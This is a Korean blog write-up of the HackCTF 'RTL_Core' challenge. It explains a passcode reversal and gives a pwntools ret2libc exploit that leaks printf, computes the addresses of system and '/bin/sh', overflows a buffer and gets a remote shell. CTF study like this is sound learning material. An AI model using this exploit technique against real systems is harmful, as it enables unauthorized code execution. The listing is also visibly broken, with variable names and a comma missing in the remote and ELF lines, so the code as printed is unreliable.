HACKCTF - RTL_Core

2020. 7. 29. 20:07CTF's Write-up

문제화면

 

yes_or_no 랑 비슷한 문제로 보였습니다.

처음에 삽질해서 시간 오래걸렸네요 ㅠㅠ

 

 

실행화면

 

 

초기에 실행하면 위와같이 패스코드 입력하라고하고, 어떤 키랑 비교하는것 같습니다.

이 부분을 확인해보면

 

 

ida main

 

 

9번줄을보면 check_passcode($s) == hashcode 를 비교하는데

 

hashcode

 

 

hashcode = 0C0D9B0A7 입니다.

 

 

ida check_passcodee

 

 

passcode를 체크하는 구간인데, 약간의 역연산이 필요합니다.

a1의 주소를입력받아서 4바이트씩 늘려서 5개를 더하는 함수인데 아래와 같은 코드를 작성해서 이를 구할 수 있습니다.

 

1
2
3
4
5
6
7
8
9
key = 0x0C0D9B0A7
 
add = key/5
print("add = " + hex(add))
recoveradd = add*5
print("addmulti = " + hex(recoveradd))
print("original = " + hex(key))
print("original - nultiple = " + hex(key-recoveradd))
 
cs

 

 

실행결과

 

 

따라서 0x2691f021 가 4개 필요하고, 2바이트를 더한 0x2691f023이 1개 필요한 것을 알 수 있습니다.

이를 작성해서 넘겨주게되면

 

 

pass

 

이런식으로 함수주소 하나를 던져줍니다.

이 함수 주소가 뭔지 보면

 

ida core

 

printf함수 인것을 볼 수 있습니다.

따라서 libc도 가지고 있으니 주소의 차를 찾아서 system("/bin/sh")를 실행할 수 있습니다.

payload는 아래와 같습니다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3015)
= ELF("./rtlcore")
libc = e.libc
libc = ELF("./libc.so.6")
context.log_level = "debug"
 
system_offset = libc.symbols['system']
printf_offset = libc.symbols['printf']
binsh_offset = next(libc.search('/bin/sh'))
 
r.recvuntil("Passcode: ")
payload = ""
payload +=p32(0x2691f021)*4
payload +=p32(0x2691f023)
r.sendline(payload)
 
print(r.recvuntil("0x"))
printf_add = int(r.recv(8), 16)
log.info("printf_add = " + hex(printf_add))
 
base_add = printf_add - printf_offset
system_add = base_add + system_offset
binsh_add = base_add + binsh_offset
 
log.info("base_add = " + hex(base_add))
log.info("system_add = " + hex(system_add))
log.info("binsh_add = " + hex(binsh_add))
 
payload2 = ""
payload2 += "A"*0x3E + "A"*0x4
payload2 += p32(system_add)
payload2 += "A"*0x4
payload2 += p32(binsh_add)
 
sleep(0.1)
r.sendline(payload2)
r.interactive()
 
 
cs

 

실행하게되면

 

 

shell 획득

 

위와같이 shell을 획득할 수 있습니다. 

 

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - Gift  (0) 2020.07.30
HACKCTF - DNA  (0) 2020.07.30
DreamHack - off_by_one_000  (0) 2020.07.29
DreamHack - basic_exploitation_003  (0) 2020.07.29
HACKCTF - 나는 해귀다  (0) 2020.07.29